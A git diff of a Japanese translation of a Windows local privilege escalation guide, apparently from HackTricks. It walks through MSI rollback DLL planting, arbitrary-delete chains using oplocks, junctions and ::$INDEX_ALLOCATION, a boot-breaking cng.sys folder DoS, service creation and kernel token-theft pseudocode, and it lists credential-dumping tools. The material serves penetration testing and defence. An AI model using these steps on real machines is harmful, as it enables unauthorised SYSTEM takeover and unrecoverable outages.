が実行できるようにします。 - - インストール後、ファイルへの **handle** を開いたままにします。 + - `TARGETDIR`（書き込み可能なフォルダ）に無害なファイル（例: `dummy.txt`）をインストールする `.msi` を作成する。 + - インストーラを **"UAC Compliant"** にマークし、**非管理者ユーザ** が実行できるようにする。 + - インストール後、ファイルのハンドルを開いたままにしておく。 - Step 2: Begin Uninstall - - 同じ `.msi` をアンインストールします。 - - アンインストール処理はファイルを `C:\Config.Msi` に移動し、`.rbf` ファイルとしてリネームして rollback バックアップを作成し始めます。 - - `GetFinalPathNameByHandle` を使用して、ファイルが `C:\Config.Msi\.rbf` になったタイミングを検出するために **開いているファイルハンドルをポーリング** します。 + - 同じ `.msi` をアンインストールする。 + - アンインストール処理はファイルを `C:\Config.Msi` に移動し、`.rbf` ファイル（rollback バックアップ）にリネームし始める。 + - `GetFinalPathNameByHandle` を使って開いているファイルハンドルをポーリングし、ファイルが `C:\Config.Msi\.rbf` になったことを検出する。 - Step 3: Custom Syncing - - `.msi` には、`.rbf` が書き込まれたことを通知し、その後アンインストールを続行する前に別のイベントを待機する **custom uninstall action (`SyncOnRbfWritten`)** が含まれています。 + - `.msi` には **カスタムアンインストールアクション (`SyncOnRbfWritten`)** が含まれており: + - `.rbf` が書き込まれたときにシグナルを送る。 + - その後、別のイベントを待機してアンインストールを続行する。 - Step 4: Block Deletion of `.rbf` - - シグナルを受けたら、`FILE_SHARE_DELETE` なしで `.rbf` ファイルを開き、これにより **削除を防止** します。 - - その後アンインストールが終了できるように **シグナルを返します**。 - - Windows Installer は `.rbf` を削除できず、すべての内容を削除できないため、**`C:\Config.Msi` は削除されません**。 + - シグナルを受けたら、`FILE_SHARE_DELETE` なしで `.rbf` ファイルを開く — これによりそのファイルは削除されなくなる。 + - その後、アンインストールを終了できるようにシグナルを返す。 + - Windows Installer は `.rbf` を削除できず、すべての内容を削除できないため、**`C:\Config.Msi` は削除されない**。 - Step 5: Manually Delete `.rbf` - - 攻撃者が手動で `.rbf` ファイルを削除します。 - - これで **`C:\Config.Msi` が空** になり、ハイジャック可能になります。 + - あなた（攻撃者）は `.rbf` ファイルを手動で削除する。 + - こうして **`C:\Config.Msi` が空になる**。ハイジャックの準備が整う。 -> この時点で、`C:\Config.Msi` を削除するために **SYSTEM レベルの arbitrary folder delete 脆弱性** をトリガーします。 +> この時点で、`C:\Config.Msi` を削除するために **SYSTEM-level arbitrary folder delete vulnerability** をトリガーする。 2. **Stage 2 – Replacing Rollback Scripts with Malicious Ones** - Step 6: Recreate `C:\Config.Msi` with Weak ACLs - - `C:\Config.Msi` フォルダを自分で再作成します。 - - **弱い DACL**（例: Everyone:F）を設定し、`WRITE_DAC` を持ったハンドルを開いたままにします。 + - `C:\Config.Msi` フォルダを自分で再作成する。 + - **弱い DACLs**（例: Everyone:F）を設定し、`WRITE_DAC` を持ったハンドルを開いたままにする。 - Step 7: Run Another Install - - 次の設定で `.msi` を再度インストールします： - - `TARGETDIR`: 書き込み可能な場所 - - `ERROROUT`: 強制的に失敗させる変数 - - このインストールは再度 **rollback** をトリガーするために使用され、`.rbs` と `.rbf` を読み込みます。 + - 同じ `.msi` を再度インストールする。ただし: + - `TARGETDIR`: 書き込み可能な場所。 + - `ERROROUT`: 強制失敗を引き起こす変数。 + - このインストールは再度 **rollback** を引き起こすために使用され、`.rbs` と `.rbf` が読み込まれる。 - Step 8: Monitor for `.rbs` - - `ReadDirectoryChangesW` を使用して `C:\Config.Msi` を監視し、新しい `.rbs` が現れるまで待ちます。 - - そのファイル名を取得します。 + - `ReadDirectoryChangesW` を使って `C:\Config.Msi` を監視し、 新しい `.rbs` が現れるまで待つ。 + - そのファイル名をキャプチャする。 - Step 9: Sync Before Rollback - - `.msi` には `.rbs` が作成されたときにイベントをシグナルし、その後継続前に待機する **custom install action (`SyncBeforeRollback`)** が含まれています。 + - `.msi` には **カスタムインストールアクション (`SyncBeforeRollback`)** が含まれており: + - `.rbs` が作成されたときにイベントをシグナルする。 + - その後、続行前に待機する。 - Step 10: Reapply Weak ACL - - `.rbs created` イベントを受け取った後： - - Windows Installer は `C:\Config.Msi` に強い ACL を再適用します。 - - しかしあなたは `WRITE_DAC` を持ったハンドルを開いたままにしているため、**弱い ACL を再適用** できます。 + - `.rbs created` イベントを受け取った後: + - Windows Installer は `C:\Config.Msi` に対して強い ACL を再適用する。 + - しかし、あなたはまだ `WRITE_DAC` を持ったハンドルを開いているため、再び弱い ACL を適用できる。 -> ACL は **ハンドルを開く時にのみ適用される** ため、依然としてフォルダに書き込みできます。 +> ACL は **ハンドルオープン時にのみ強制される** ため、引き続きフォルダへ書き込みが可能である。 - Step 11: Drop Fake `.rbs` and `.rbf` - - `.rbs` ファイルを上書きして、Windows に次を行わせる **偽の rollback script** を配置します： - - あなたの `.rbf`（悪意ある DLL）を **特権のある場所**（例: `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`）に復元するよう指示する。 + - `.rbs` ファイルを上書きして、Windows に次を指示する **偽の rollback スクリプト** を置く: + - あなたの `.rbf`（悪意のある DLL）を特権のある場所（例: `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`）に復元するよう指示する。 - SYSTEM レベルのペイロード DLL を含む偽の `.rbf` を配置する。 - Step 12: Trigger the Rollback - - 同期イベントによりインストーラを再開させます。 - - 既知のポイントでインストールを意図的に失敗させる **type 19 custom action (`ErrorOut`)** が設定されています。 - - これにより **rollback が開始** されます。 + - 同期イベントをシグナルしてインストーラを再開させる。 + - `ErrorOut` という **type 19 custom action** が既知のポイントでインストールを故意に失敗させるよう設定されている。 + - これにより **rollback が開始される**。 - Step 13: SYSTEM Installs Your DLL - - Windows Installer はあなたの悪意ある `.rbs` を読み取り、ターゲット場所にあなたの `.rbf` DLL をコピーします。 - - これで **SYSTEM がロードするパスに悪意ある DLL を配置** できます。 + - Windows Installer は: + - あなたの悪意のある `.rbs` を読み込む。 + - あなたの `.rbf` DLL をターゲットの場所にコピーする。 + - これで **SYSTEM がロードするパスに悪意のある DLL を置く** ことに成功する。 - Final Step: Execute SYSTEM Code - - `osk.exe` のような信頼された **auto-elevated binary** を実行し、ハイジャックした DLL をロードさせます。 - - Boom: あなたのコードは **SYSTEM として実行** されます。 - + - 信頼された **auto-elevated binary**（例: `osk.exe`）を実行し、ハイジャックした DLL を読み込ませる。 + - 結果として、あなたのコードが **SYSTEM として実行される**。 ### From Arbitrary File Delete/Move/Rename to SYSTEM EoP -主要な MSI rollback 手法（前述のもの）は、`C:\Config.Msi` のような **フォルダ全体を削除できる** ことを前提としています。しかし、もしあなたの脆弱性が **任意のファイル削除のみ** を許す場合はどうでしょうか？ +前述の主な MSI rollback 手法は、フォルダ全体（例: `C:\Config.Msi`）を削除できることを前提としています。しかし、脆弱性が **任意のファイル削除のみ** を許す場合はどうするか？ -その場合は **NTFS の内部構造** を悪用できます：すべてのフォルダは隠しの代替データストリーム（alternate data stream）を持っています。 +NTFS の内部（NTFS internals）を悪用できます：すべてのフォルダには隠しの別名データストリーム（alternate data stream）と呼ばれるものがあり: ``` C:\SomeFolder::$INDEX_ALLOCATION ``` -このストリームはフォルダの**インデックスメタデータ**を保存します。 +このストリームはフォルダの**インデックスメタデータ**を格納します。 -したがって、フォルダの**`::$INDEX_ALLOCATION`ストリームを削除すると**、NTFSはファイルシステムから**フォルダ全体を削除します**。 +したがって、フォルダの**`::$INDEX_ALLOCATION`ストリームを削除すると**、NTFSはファイルシステムからフォルダ全体を**削除します**。 -これは次のような標準のファイル削除APIを使用して行うことができます: +次のような標準のファイル削除APIを使用してこれを行うことができます： ```c DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION"); ``` -> あなたが*file* delete APIを呼び出していても、実際には**フォルダ自体が削除されます**。 +> Even though you're calling a *file* delete API, it **deletes the folder itself**. -### From Folder Contents Delete to SYSTEM EoP -あなたのプリミティブが任意のファイル/フォルダを削除できない場合でも、**攻撃者が制御するフォルダの*contents*の削除を許可する**としたらどうしますか？ +### フォルダの内容削除から SYSTEM EoP へ +もしあなたの primitive が任意のファイル/フォルダを削除できないが、**攻撃者が制御するフォルダの *contents* を削除できる**としたら？ -1. Step 1: Setup a bait folder and file -- Create: `C:\temp\folder1` -- Inside it: `C:\temp\folder1\file1.txt` +1. ステップ 1: 罠のフォルダとファイルを準備 +- 作成: `C:\temp\folder1` +- その中に: `C:\temp\folder1\file1.txt` -2. Step 2: Place an **oplock** on `file1.txt` -- **oplock** は、特権プロセスが `file1.txt` を削除しようとすると、その実行を**一時停止**します。 +2. ステップ 2: `file1.txt` に **oplock** を設定する +- 特権プロセスが `file1.txt` を削除しようとしたとき、oplock は **実行を一時停止する**。 ```c // pseudo-code RequestOplock("C:\\temp\\folder1\\file1.txt"); WaitForDeleteToTriggerOplock(); ``` 3. Step 3: SYSTEM プロセスをトリガーする（例: `SilentCleanup`） -- このプロセスはフォルダ（例: `%TEMP%`）を走査し、その中身を削除しようとします。 -- `file1.txt` に到達すると、**oplock がトリガーされます**。制御があなたの callback に渡されます。 +- このプロセスはフォルダ（例: `%TEMP%`）をスキャンし、その中身を削除しようとします。 +- `file1.txt` に到達すると、**oplock triggers** が動作し、コールバックに制御が渡されます。 -4. Step 4: oplock callback 内で – 削除をリダイレクトする +4. Step 4: oplock callback 内で — 削除をリダイレクトする -- Option A: `file1.txt` を別の場所に移動する -- これにより oplock を壊すことなく `folder1` を空にできます。 +- オプション A: `file1.txt` を別の場所に移動する +- これにより `folder1` の中身は空になりますが、oplock は維持されます。 - `file1.txt` を直接削除しないでください — それを行うと oplock が早期に解除されます。 -- Option B: `folder1` を **junction** に変換する: +- オプション B: `folder1` を **junction** に変換する: ```bash # folder1 is now a junction to \RPC Control (non-filesystem namespace) mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control @@ -1494,70 +1505,67 @@ mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control # Make file1.txt point to a sensitive folder stream CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION") ``` -> これはフォルダのメタデータを保存するNTFSの内部ストリームを標的にしており — それを削除するとフォルダ自体が削除されます。 +> これはフォルダのメタデータを格納する NTFS の内部ストリームを狙っている — これを削除するとフォルダ自体が削除される。 -5. ステップ5: oplock を解除する -- SYSTEM プロセスは続行し、`file1.txt` の削除を試みます。 -- しかし今や、junction + symlink のため、実際に削除されているのは: +5. ステップ5: oplock を解放する +- SYSTEM プロセスは続行し、`file1.txt` を削除しようとする。 +- しかし今、junction + symlink のため、実際には削除しているのは： ``` C:\Config.Msi::$INDEX_ALLOCATION ``` **結果**: `C:\Config.Msi` は SYSTEM によって削除される。 -### 任意のフォルダ作成から恒久的な DoS へ +### 任意のフォルダ作成から恒久的なDoSへ -原始的な機能を悪用して、**SYSTEM/admin として任意のフォルダを作成できる** — たとえ **ファイルを書き込めない** や **弱い権限を設定できない** 場合でも。 +あるプリミティブを悪用して、**SYSTEM/admin として任意のフォルダを作成できる** — たとえ **ファイルを書き込めない** または **弱い権限を設定できない** 場合でも。 -**folder**（ファイルではなく）を**重要な Windows ドライバー**の名前で作成する、例： +**フォルダ**（ファイルではなく）を**重要な Windows driver**の名前で作成する。例： ``` C:\Windows\System32\cng.sys ``` - このパスは通常 `cng.sys` カーネルモードドライバに対応します。 -- もし**事前にフォルダとして作成しておくと**、Windows は起動時に実際のドライバを読み込めなくなります。 -- その後、Windows は起動中に `cng.sys` を読み込もうとします。 -- フォルダを見つけ、**実際のドライバを解決できず**、**クラッシュまたは起動が停止**します。 -- 外部からの介入（例: 起動修復やディスクアクセス）がなければ、**フォールバックはなく**、**回復できません**。 +- もしそれを **フォルダとして事前に作成すると**, Windows は起動時に実際の driver をロードできなくなります。 +- すると、Windows は起動時に `cng.sys` をロードしようとします。 +- フォルダを見つけると、**実際の driver を解決できず**, **クラッシュするか起動が停止**します。 +- **フォールバックはなく**, **外部からの介入（例：ブート修復やディスクアクセス）なしには回復できません。** -## **High Integrity から System へ** +## **High Integrity から SYSTEM へ** ### **新しいサービス** -もし既に High Integrity なプロセスで実行中であれば、**SYSTEM へのパス**は**新しいサービスを作成して実行するだけ**で簡単に得られることがあります: +すでに High Integrity プロセスで動作している場合、**SYSTEM へのパス**は単に **新しいサービスを作成して実行すること** で簡単に得られることがあります： ``` sc create newservicename binPath= "C:\windows\system32\notepad.exe" sc start newservicename ``` > [!TIP] -> サービス用バイナリを作成する際は、有効なサービスであること、またはバイナリが必要な動作を迅速に実行することを確認してください。そうでない場合、サービスでなければ20秒で終了されます。 +> サービスバイナリを作成する際は、それが有効なサービスであること、または有効なサービスでない場合は必要な動作を速やかに実行することを確認してください。そうしないと、20秒で終了されます。 ### AlwaysInstallElevated -From a High Integrity process you could try to **enable the AlwaysInstallElevated registry entries** and **install** a reverse shell using a _**.msi**_ wrapper.\ +High Integrity プロセスから、**AlwaysInstallElevated レジストリエントリを有効にし**、_**.msi**_ ラッパーを使ってリバースシェルを**インストール**することを試せます。\ [More information about the registry keys involved and how to install a _.msi_ package here.](#alwaysinstallelevated) ### High + SeImpersonate privilege to System -**次のリンクで** [**find the code here**](seimpersonate-from-high-to-system.md)**。** +**参照できます** [**find the code here**](seimpersonate-from-high-to-system.md)**.** ### From SeDebug + SeImpersonate to Full Token privileges -If you have those token privileges (probably you will find this in an already High Integrity process), you will be able to **open almost any process** (not protected processes) with the SeDebug privilege, **copy the token** of the process, and create an **arbitrary process with that token**.\ -これらの token privileges を持っていれば（おそらく既に High Integrity プロセスで見つかるでしょう）、SeDebug privilege を使って（protected processes を除き）ほとんど任意のプロセスを開き、プロセスのトークンをコピーし、そのトークンで任意のプロセスを作成できます。\ -Using this technique is usually **selected any process running as SYSTEM with all the token privileges** (_yes, you can find SYSTEM processes without all the token privileges_).\ -**以下のリンクで** [**example of code executing the proposed technique here**](sedebug-+-seimpersonate-copy-token.md)**を参照してください。** +これらのトークン権限を持っている場合（おそらく既に High Integrity のプロセスで見つかることが多い）、SeDebug 権限を使ってほとんどのプロセス（保護されたプロセスは除く）を**開き**、そのプロセスの**トークンをコピー**し、そのトークンで**任意のプロセスを作成**できます。\ +この手法では通常、**すべてのトークン権限を持つ SYSTEM として実行されているプロセスを選択**します（_はい、すべてのトークン権限を持っていない SYSTEM プロセスも見つかります_）。\ +**You can find an** [**example of code executing the proposed technique here**](sedebug-+-seimpersonate-copy-token.md)**.** ### **Named Pipes** -This technique is used by meterpreter to escalate in `getsystem`. The technique consists on **creating a pipe and then create/abuse a service to write on that pipe**. Then, the **server** that created the pipe using the **`SeImpersonate`** privilege will be able to **impersonate the token** of the pipe client (the service) obtaining SYSTEM privileges.\ -この方法は meterpreter が `getsystem` で使用する手法です。手法の内容は、**パイプを作成し、そのパイプに書き込ませるために service を作成/悪用する**ことです。すると、そのパイプを作成した **server** は **`SeImpersonate`** privilege を使ってパイプクライアント（service）のトークンを**偽装 (impersonate)** し、SYSTEM 権限を得ることができます。\ -If you want to [**learn more about name pipes you should read this**](#named-pipe-client-impersonation).\ -If you want to read an example of [**how to go from high integrity to System using name pipes you should read this**](from-high-integrity-to-system-with-name-pipes.md). +この手法は meterpreter が `getsystem` を行う際に使われます。手法は、**パイプを作成し、そのパイプに書き込ませるためにサービスを作成/悪用する**というものです。すると、**SeImpersonate** 権限を使ってそのパイプを作成した**サーバー**は、パイプクライアント（サービス）の**トークンを偽装（impersonate）**でき、SYSTEM 権限を得ることができます。\ +[**learn more about name pipes you should read this**](#named-pipe-client-impersonation)。\ +[**how to go from high integrity to System using name pipes you should read this**](from-high-integrity-to-system-with-name-pipes.md)。 ### Dll Hijacking -If you manages to **hijack a dll** being **loaded** by a **process** running as **SYSTEM** you will be able to execute arbitrary code with those permissions. Therefore Dll Hijacking is also useful to this kind of privilege escalation, and, moreover, if far **more easy to achieve from a high integrity process** as it will have **write permissions** on the folders used to load dlls.\ -もし SYSTEM として実行されているプロセスによってロードされる dll を**ハイジャック**できれば、その権限で任意のコードを実行できます。したがって Dll Hijacking はこの種の権限昇格に有用であり、さらに high integrity process から達成する方が**はるかに容易**です。high integrity process は dll をロードするフォルダに対する**書き込み権限**を持つためです。\ +もし **SYSTEM として動作するプロセス**にロードされる **dll をハイジャック**できれば、その権限で任意のコードを実行できます。したがって Dll Hijacking はこの種の権限昇格に有用であり、さらに High Integrity プロセスからは **DLL をロードするフォルダに対する書き込み権限**があるため達成しやすくなります。\ **You can** [**learn more about Dll hijacking here**](dll-hijacking/index.html)**.** ### **From Administrator or Network Service to System** @@ -1570,55 +1578,55 @@ If you manages to **hijack a dll** being **loaded** by a **process** running as **Read:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers) -## More help +## その他のリソース [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) -## Useful tools +## 便利なツール -**Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +**Windows のローカル権限昇格ベクターを探すための最良ツール:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) **PS** [**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\ -[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Check for misconfigurations and sensitive files (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Detected.**\ -[**JAWS**](https://github.com/411Hall/JAWS) **-- Check for some possible misconfigurations and gather info (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ -[**privesc** ](https://github.com/enjoiz/Privesc)**-- Check for misconfigurations**\ -[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- It extracts PuTTY, WinSCP, SuperPuTTY, FileZilla, and RDP saved session information. Use -Thorough in local.**\ -[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Extracts crendentials from Credential Manager. Detected.**\ -[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Spray gathered passwords across domain**\ -[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh is a PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer and man-in-the-middle tool.**\ -[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Basic privesc Windows enumeration**\ -[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Search for known privesc vulnerabilities (DEPRECATED for Watson)\ -[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Local checks **(Need Admin rights)** +[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- 誤設定や機密ファイルをチェックします（**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**）。検出します。**\ +[**JAWS**](https://github.com/411Hall/JAWS) **-- いくつかの可能な誤設定をチェックして情報を収集します（**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**）。**\ +[**privesc** ](https://github.com/enjoiz/Privesc)**-- 誤設定をチェックします**\ +[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- PuTTY, WinSCP, SuperPuTTY, FileZilla, RDP の保存されたセッション情報を抽出します。ローカルでは -Thorough を使用してください。**\ +[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Credential Manager から資格情報を抽出します。検出済み。**\ +[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- 収集したパスワードをドメイン全体にスプレーします**\ +[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- PowerShell による ADIDNS/LLMNR/mDNS/NBNS スプーファー兼中間者ツールです。**\ +[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- 基本的な Windows の権限昇格列挙**\ +[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- 既知の権限昇格脆弱性を検索します（Watson に非推奨）\ +[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- ローカルチェック **(管理者権限が必要)** **Exe** -[**Watson**](https://github.com/rasta-mouse/Watson) -- Search for known privesc vulnerabilities (needs to be compiled using VisualStudio) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ -[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Enumerates the host searching for misconfigurations (more a gather info tool than privesc) (needs to be compiled) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ -[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Extracts credentials from lots of softwares (precompiled exe in github)**\ -[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Port of PowerUp to C#**\ -[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Check for misconfiguration (executable precompiled in github). Not recommended. It does not work well in Win10.\ -[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Check for possible misconfigurations (exe from python). Not recommended. It does not work well in Win10. +[**Watson**](https://github.com/rasta-mouse/Watson) -- 既知の権限昇格脆弱性を検索します（VisualStudio を使ってコンパイルが必要）（[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson)）\ +[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- ホストを列挙して誤設定を検索します（権限昇格より情報収集ツール寄り）（コンパイルが必要）（[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)）\ +[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- 多くのソフトウェアから資格情報を抽出します（GitHub にプリコンパイルされた exe あり）**\ +[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- PowerUp の C# 移植**\ +[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- 誤設定をチェックします（GitHub にプリコンパイル実行ファイルあり）。推奨されません。Win10 ではうまく動作しません。\ +[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- 可能な誤設定をチェックします（python から exe 化）。推奨されません。Win10 ではうまく動作しません。 **Bat** -[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Tool created based in this post (it does not need accesschk to work properly but it can use it). +[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- この投稿に基づいて作成されたツール（アクセス権チェックツール accesschk がなくても動作しますが、利用可能です）。 **Local** -[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Reads the output of **systeminfo** and recommends working exploits (local python)\ -[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Reads the output of **systeminfo** andrecommends working exploits (local python) +[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- **systeminfo** の出力を読み、動作するエクスプロイトを推奨します（ローカル python）\ +[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- **systeminfo** の出力を読み、動作するエクスプロイトを推奨します（ローカル python） **Meterpreter** _multi/recon/local_exploit_suggestor_ -You have to compile the project using the correct version of .NET ([see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). To see the installed version of .NET on the victim host you can do: +プロジェクトは正しいバージョンの .NET を使ってコンパイルする必要があります（[see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)）。被害者ホストにインストールされている .NET のバージョンを確認するには、次を実行できます： ``` C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line ``` -## 参考文献 +## 参考資料 - [http://www.fuzzysecurity.com/tutorials/16.html](http://www.fuzzysecurity.com/tutorials/16.html) - [http://www.greyhathacker.net/?p=738](http://www.greyhathacker.net/?p=738) diff --git a/src/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md b/src/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md index 18fb92441..6dbdafa47 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md +++ b/src/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md @@ -4,31 +4,31 @@ ## 概要 -脆弱なドライバが攻撃者に任意のカーネル読み取り/書き込みプリミティブを与える IOCTL を露出している場合、SYSTEM（NT AUTHORITY\SYSTEM）への昇格は SYSTEM のアクセス Token を盗むことで達成できることが多いです。この手法は、SYSTEM プロセスの EPROCESS から現在のプロセスの EPROCESS に Token ポインタをコピーします。 +If a vulnerable driver exposes an IOCTL that gives an attacker arbitrary kernel read and/or write primitives, elevating to NT AUTHORITY\SYSTEM can often be achieved by stealing a SYSTEM access token. The technique copies the Token pointer from a SYSTEM process’ EPROCESS into the current process’ EPROCESS. なぜ動作するか: -- 各プロセスは EPROCESS 構造体を持ち、その中に（他のフィールドとともに）Token（実際にはトークンオブジェクトへの EX_FAST_REF）が含まれる。 -- SYSTEM プロセス（PID 4）はすべての権限が有効になったトークンを保持している。 -- 現在のプロセスの EPROCESS.Token を SYSTEM のトークンポインタで置き換えると、現在のプロセスは即座に SYSTEM として実行される。 +- 各プロセスは EPROCESS 構造体を持ち、その中に（他のフィールドとともに）Token（実際にはトークンオブジェクトへの EX_FAST_REF）を含みます。 +- SYSTEM プロセス（PID 4）は、すべての権限が有効なトークンを保持しています。 +- 現在のプロセスの EPROCESS.Token を SYSTEM のトークンポインタで置き換えると、当該プロセスは即座に SYSTEM として実行されます。 -> EPROCESS のオフセットは Windows のバージョンによって異なります。動的に決定する（symbols）か、バージョン固有の定数を使用してください。また EPROCESS.Token が EX_FAST_REF であること（下位 3 ビットが参照カウントフラグとして使われている）を忘れないでください。 +> EPROCESS 内のオフセットは Windows のバージョンによって異なります。動的に決定する（symbols）か、バージョン固有の定数を使用してください。また、EPROCESS.Token は EX_FAST_REF であり、下位3ビットは参照カウントのフラグであることを忘れないでください。 -## 大まかな手順 +## 高レベルの手順 -1) ntoskrnl.exe のベースを見つけ、PsInitialSystemProcess のアドレスを解決する。 -- ユーザーモードからは、NtQuerySystemInformation(SystemModuleInformation) や EnumDeviceDrivers を使ってロードされたドライバのベースを取得する。 -- カーネルベースに PsInitialSystemProcess のオフセット（symbols/リバースから取得）を加えて、そのアドレスを得る。 -2) PsInitialSystemProcess のポインタを読み取る → これは SYSTEM の EPROCESS へのカーネルポインタである。 -3) SYSTEM の EPROCESS から UniqueProcessId と ActiveProcessLinks のオフセットを読み取り、EPROCESS 構造体の二重リンクリスト（ActiveProcessLinks.Flink/Blink）をたどって、UniqueProcessId が GetCurrentProcessId() と等しい EPROCESS を見つけるまで進む。以下を保持する: -- EPROCESS_SYSTEM（SYSTEM のため） -- EPROCESS_SELF（現在のプロセスのため） -4) SYSTEM トークンの値を読む: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset). -- 下位 3 ビットをマスクする: Token_SYS_masked = Token_SYS & ~0xF（ビルドによっては ~0xF や ~0x7 が一般的；x64 では下位 3 ビットが使われる — 0xFFFFFFFFFFFFFFF8 マスク）。 -5) Option A (common): 現在のトークンの下位 3 ビットを保持し、SYSTEM のポインタにそれらを付けることで埋め込み参照カウントの整合性を保つ。 +1) Locate ntoskrnl.exe base and resolve the address of PsInitialSystemProcess. +- From user mode, use NtQuerySystemInformation(SystemModuleInformation) or EnumDeviceDrivers to get loaded driver bases. +- Add the offset of PsInitialSystemProcess (from symbols/reversing) to the kernel base to get its address. +2) Read the pointer at PsInitialSystemProcess → this is a kernel pointer to SYSTEM’s EPROCESS. +3) From SYSTEM EPROCESS, read UniqueProcessId and ActiveProcessLinks offsets to traverse the doubly linked list of EPROCESS structures (ActiveProcessLinks.Flink/Blink) until you find the EPROCESS whose UniqueProcessId equals GetCurrentProcessId(). Keep both: +- EPROCESS_SYSTEM (for SYSTEM) +- EPROCESS_SELF (for the current process) +4) Read SYSTEM token value: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset). +- Mask out the low 3 bits: Token_SYS_masked = Token_SYS & ~0xF (commonly ~0xF or ~0x7 depending on build; on x64 the low 3 bits are used — 0xFFFFFFFFFFFFFFF8 mask). +5) Option A (common): Preserve the low 3 bits from your current token and splice them onto SYSTEM’s pointer to keep the embedded ref count consistent. - Token_ME = *(EPROCESS_SELF + TokenOffset) - Token_NEW = (Token_SYS_masked | (Token_ME & 0x7)) -6) カーネル書き込みプリミティブを使って Token_NEW を (EPROCESS_SELF + TokenOffset) に書き戻す。 -7) 現在のプロセスはこれで SYSTEM になっている。必要に応じて新しい cmd.exe や powershell.exe を起動して確認する。 +6) Write Token_NEW back into (EPROCESS_SELF + TokenOffset) using your kernel write primitive. +7) Your current process is now SYSTEM. Optionally spawn a new cmd.exe or powershell.exe to confirm. ## 擬似コード @@ -105,17 +105,17 @@ system("cmd.exe"); return 0; } ``` -注意: -- Offsets: ターゲットの PDBs、またはランタイムのシンボルローダーとともに WinDbg の `dt nt!_EPROCESS` を使用して正しいオフセットを取得してください。盲目的にハードコードしないでください。 -- Mask: x64 では token は EX_FAST_REF です; 下位 3 ビットは参照カウントビットです。token の元の下位ビットを保持することで即時の参照カウント不整合を避けられます。 -- Stability: 現在のプロセスを昇格させることを優先してください。短命なヘルパーを昇格させると、そのプロセスが終了した際に SYSTEM を失う可能性があります。 +注意事項: +- オフセット: WinDbg’s `dt nt!_EPROCESS` をターゲットの PDBs、または runtime symbol loader と一緒に使って正しいオフセットを取得してください。盲目的にハードコードしないでください。 +- 